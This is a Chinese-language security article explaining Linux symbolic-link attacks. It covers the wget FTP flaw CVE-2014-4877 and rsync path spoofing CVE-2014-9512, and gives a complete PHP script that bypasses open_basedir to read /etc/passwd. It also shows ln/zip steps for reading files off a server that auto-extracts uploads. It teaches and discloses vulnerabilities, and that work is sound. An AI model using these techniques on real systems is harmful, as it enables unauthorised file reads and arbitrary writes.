Yaseng · 2015/01/27 10:01

0×00 前言


Linux作为应用最广泛的开源系统,其中独特的文件系统可以算是支撑Linux强大功能 的核心组件之一,而在文件系统中,符号链接(symbolic link )形如"月光宝盒"般可以穿 梭时空,自由穿越森严的路径限制,此一特性,使其地位在整个Linux系统中占有重要 一席,本文将通过实际分析与研究,深入探讨因对符号链接处理不当,可能造成的各类 安全问题,以引发对此类问题的重视。

0×01 客户端


客户端递归处理文件时,通过符号链接穿越可造成任意文件写入,代码执行。

案例:

1. Wget ftp symbolic link attack (CVE-2014-4877)


wget 递归下载ftp站点时,如 wget -m ftp://127.0.0.1,在服务端伪造如下数据

lrwxrwxrwx 1 root root 33 Oct 11 2013 fakedir -> /tmp
drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir
复制代码

会在本地建立一个名称为fakedir的symbolic link ,指向/tmp 目录,当wget 发送 cwd 指令递归进入fakedir 在发送 LIST 指令。此时可以伪造一个恶意文件或者

目录比如:

-rwx------ 1 root root 21 Aug 29 2013 pwned
复制代码

RETR 指令下载pwned 文件时,返回文件内容(二进制或者文本)。即可欺骗wget 客户端任意目录写入。

具体利用脚本: https://github.com/yaseng/pentest/blob/master/exploit/wget-symlink_attack_exploit.py

漏洞演示:

Server(attacker)  wget-symlink_attack_exploit.py
Client(victim)    wget -m ftp://127.0.0.1
复制代码

2:Rsync path spoofing attack vulnerability(CVE-2014-9512 )


笔者分析wget漏洞之后,发现rsync递归同步文件时,同样可以用符号链接来 欺骗路径,由于rsync双向文件处理算法比较复杂,无法直接用字符串伪造文件流。 首先rsync共享文件夹新建symbolic link 指向/root/,

[[email protected] rsync]# ls  -lh
total 8.0K
-rw-r--r-- 1 root root    2 Oct 31 03:16 1.txt
lrwxrwxrwx 1 root root    6 Oct 31 05:09 fakedir -> /root/
drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir
复制代码

truedir 中写入测试文件

[[email protected] rsync]# cd  truedir/
[[email protected] truedir]# ls
[[email protected] truedir]# echo rsync  test  >  pwned
[[email protected] truedir]# ls -lh
total 4.0K
-rw-r--r-- 1 root root 11 Oct 31 05:17 pwned
[[email protected] truedir]#
复制代码

再修改服务端发送文件列表的代码

#!c
file: rsync-3.1.1/flist.c    line:394
static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKSconst char *symlink_name, int symlink_len,
#endifint ndx, int first_ndx)
{if(strcmp(fname,"turedir/pwned") == 0){fname="fakedir/pwned";  // symbolic link
//change  file  true path(truedir) to  symbolic link  (fakedir)
)
}
复制代码

由于服务端有严格的数据校验,此时会报错 "received request to transfer non-regular file fakedir/pwned.test 7 [sender]",导致客户端同步无法执行 但是对于攻击者来说,服务端是可控的,找到对应代码直接注释。

#!c
/* if (iflags & ITEM_TRANSFER) {int i = ndx - cur_flist->ndx_start;if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {rprintf(FERROR,"received request to transfer non-regular file: %d [%s]\n",ndx, who_am_i());exit_cleanup(RERR_PROTOCOL);}}
*/
复制代码

漏洞演示:

client(victim):

0×02 web 程序


当通过http访问文件时,web server 对符号链接处理不当可能导致越权访问,文件 读取等安全隐患。

案例:

1. php 通用绕过 open_basedir 读取任意文件


使用函数symlink 与 mkdir 创建一个指向目标的符号链接,代码如下

#!php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");  //删除
mkdir("tmplink");
?>
复制代码

生成文件

drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
复制代码

exploit 已经指向/etc/passwd,通过web server 如Apache 直接静态访问,可以绕过php open_basedir 保护读取文件。

2. facebook 本地文件读取


当服务端会自动解压zip,tar 等支持符号链接的压缩格式时。可以通过符号链接读取服务器文件 例如facebook 本地文件读取

1. 创建一个符号链接文件指向/etc/passwd ln -s /etc/passwd link 2. 压缩文件,同时保留链接
zip --symlinks test.zip link 3. 上传test.zip文件,系统会自动解压缩 4. 页面当中会返回/etc/passwd的内容
复制代码

如图

0×03 参考链接


1:CVE-2014-4877 wget ftp下载文件夹链接欺骗漏洞分析 http://xteam.baidu.com/?p=30

2:Rsync path spoofing attack vulnerability http://xteam.baidu.com/?p=169

3:Php open_basedir bypass http://cxsecurity.com/issue/WLB-2009110068

4:Reading local files from Facebook's server http://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html

linux symbolic link attack tutorial相关推荐

  1. 【Linux】ln: failed to create symbolic link ‘*.so’: Operation not supported

    问题 ln: failed to create symbolic link '*.so': Operation not supported 总结 在Linux虚拟机与windows主机进行文件共享,将 ...

  2. Linux中硬连接(hard link)与软连接(symbolic link)的区别

    Linux Ext文件系统 Linux的Ext文件系统是如何与磁盘内存产生对应的呢?我们知道,在使用磁盘内存之前,需要为磁盘分区,然后为所分区域格式化出一个统一的文件系统(也有例外,如LVM与磁盘阵列 ...

  3. Linux下的softlink和symbolic link(hardlink)

    Linux中包括两种链接:硬链接(hard link)和软链接(soft link),软链接又称为符号链接(symbolic link) 创建命令: ln -s destfile/directory  ...

  4. Symbolic link and hard link的区别(linux)

    Linux链接分两种,一种被称为硬链接(Hard Link),另一种被称为符号链接(Symbolic Link).默认情况下,ln命令产生硬链接. --硬连接 硬 连接指通过索引节点来进行连接.在Li ...

  5. linux ln(link) 命令详解

    linux ln(link) 命令详解 功能说明:连接文件或目录. 语 法:ln [-bdfinsv][-S <字尾备份字符串>][-V <备份方式>][--help][--v ...

  6. ln: creating symbolic link XXXXXX : Operation not supported

    ln: creating symbolic link XXXXXX : Operation not supported 转自:https://blog.csdn.net/z444_579/articl ...

  7. linux删除link文件,在 Linux 中怎样移除(删除)符号链接

    原标题:在 Linux 中怎样移除(删除)符号链接 你可能有时需要在 Linux 上创建或者删除符号链接.如果有,你知道该怎样做吗?之前你做过吗?你踩坑没有?如果你踩过坑,那没什么问题.如果还没有,别 ...

  8. 创建软链接(symbolic link)

    Linux ln命令是一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接.类似windows下的快捷方式. Linux文件系统中,有所谓的链接(link),我们可以将其视为档案的 ...

  9. linux hard link和soft link(硬链接和软链接)的简单介绍

    文件由何决定? 首先需要说明linux的文件的概念,我们如何分辨两个在linux里边的文件(以下简称文件)是不同的文件?由此就不得不说到一个东西,inode. 根据维基的定义: inode是指在许多& ...

最新文章

  1. 软工专硕考研_2021考研人数将突破400万?录取率或成史低!
  2. JDK16和JDK8共存与切换
  3. Creo参数曲面设计视频教程
  4. 学计算机干眼,电脑族预防干眼的7个小妙招_39健康网
  5. win10快捷键整理记录
  6. Python批量reshape图片
  7. EXCEL技术VBA一键获取SAP系统数据
  8. 菜鸟教程出app了!青结
  9. Request header field content-type is not allowed by Access-Control-Allow-Headers in preflight respon
  10. SQL中查询MySQL的版本
  11. 电脑老系统怎么换新系统?
  12. 【NDN学习】NDN的定义,基础,解决什么问题
  13. kafka部署时出现的天坑
  14. idea 远程debug调试
  15. postman的完美替代品,超好用的api测试软件
  16. Android音量控制调节
  17. ipfs搭建mysql_【IPFS + 区块链 系列】 入门篇 - IPFS环境配置
  18. python cv2.HoughCircles 霍夫圆检测
  19. Superset1.3.2部分配置教程
  20. Boss直聘职位信息爬取+分析

热门文章

  1. 怎样只接受固定长度数组为参数 数组形参
  2. http://weibo.com/cnblogs
  3. 深入探索.NET内部了解CLR如何创建运行时对象
  4. jQuery学习笔记6:表单选择器
  5. 使用Python脚本批量裁切栅格
  6. Oracle手工建库
  7. 概率图模型PGM——D map, I map, perfect map
  8. apache用proxy 实现URL 转发
  9. 25个让人惊叹的 HTML5 应用实验
  10. Day3 python基础